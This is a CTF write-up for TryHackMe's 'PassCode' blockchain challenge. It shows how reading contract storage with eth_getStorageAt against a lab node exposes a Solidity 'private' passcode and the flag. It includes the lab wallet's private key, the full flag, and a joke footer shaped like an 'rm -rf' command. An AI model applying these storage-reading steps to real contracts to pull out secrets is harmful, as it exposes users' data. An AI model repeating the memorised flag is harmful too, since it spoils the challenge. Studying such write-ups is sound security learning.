PassCode — TryHackMe CTF Writeup

· prosetesting's blog

Hackfinity Battle CTF blockchain challenge. Exploits the fact that Solidity private variables are publicly readable on-chain via eth_getStorageAt.

Table of Contents

PassCode — TryHackMe CTF Writeup #

Platform: TryHackMe (Hackfinity Battle CTF)
Category: Blockchain / Web3
Difficulty: Easy
Date: 2026-03-23
Author: t0nt0n
Reading time: ~4 min


Overview #

PassCode is a smart contract challenge. A deployed Ethereum contract holds a passcode that must be submitted to flip isSolved() to true. The trick: the passcode is stored in a private storage variable — which is NOT actually private on a public blockchain.


Reconnaissance #

The challenge API provides everything needed to get started:

1RPC_URL=http://10.129.160.37:8545
2API_URL=http://10.129.160.37
3
4curl -s ${API_URL}/challenge | jq .
API response (player wallet + contract address)
1{
2  "name": "blockchain",
3  "player_wallet": {
4    "address": "0x738fB6Ba7A06E89F58df5d3da7c36C3Fb3e58ead",
5    "private_key": "0x8954bc7b973945979af2c8ab8440fea0ca0a161d33dd3338a6e41f88ac61e80d",
6    "balance": "1.0 ETH"
7  },
8  "contract_address": "0xf22cB0Ca047e88AC996c17683Cee290518093574"
9}

Exploitation #

Reading contract storage #

All contract storage is publicly readable via eth_getStorageAt, regardless of whether variables are declared private in Solidity. Reading slots 0–3:

1for i in 0 1 2 3; do
2  echo -n "Slot $i: "
3  curl -s -X POST http://10.129.160.37:8545 \
4    -H "Content-Type: application/json" \
5    -d "{\"jsonrpc\":\"2.0\",\"method\":\"eth_getStorageAt\",
6        \"params\":[\"0xf22cB0Ca047e88AC996c17683Cee290518093574\",
7                   \"0x$(printf '%064x' $i)\",\"latest\"],\"id\":1}" \
8    | jq -r '.result'
9done
Raw storage output
Slot 0: 0x54484d7b776562335f6834636b316e675f636f64657d0000000000000000002c
Slot 1: 0x0000000000000000000000000000000000000000000000000000000000000000
Slot 2: 0x000000000000000000000000000000000000000000000000000000000000014d
Slot 3: 0x54686520636f646520697320333333000000000000000000000000000000001e

Decoding the storage #

 1# Slot 0 — Solidity short string encoding (last byte = length)
 2bytes.fromhex('54484d7b776562335f6834636b316e675f636f64657d').decode()
 3# → THM{w_redacted_e}
 4
 5# Slot 2 — uint256 passcode
 60x14d  # → 333
 7
 8# Slot 3 — hint string
 9bytes.fromhex('54686520636f646520697320333333').decode()
10# → "The code is 333"

The flag is directly readable from slot 0. Slot 3 confirms the passcode is 333 (also stored as 0x14d in slot 2).


Flag #

Reveal Flag

THM{web3_h4ck1ng_code}


Answers #

Q — What is the flag?

Reveal Flag

THM{web3_h4ck1ng_code}


Tools Used #


What Didn't Work #


Lessons Learned #

last updated:
⬛⚪⬛
⬛⬛⚪  ☠ user
⚪⚪⚪  rm -rf /ignorance && echo 42 > /dev/brain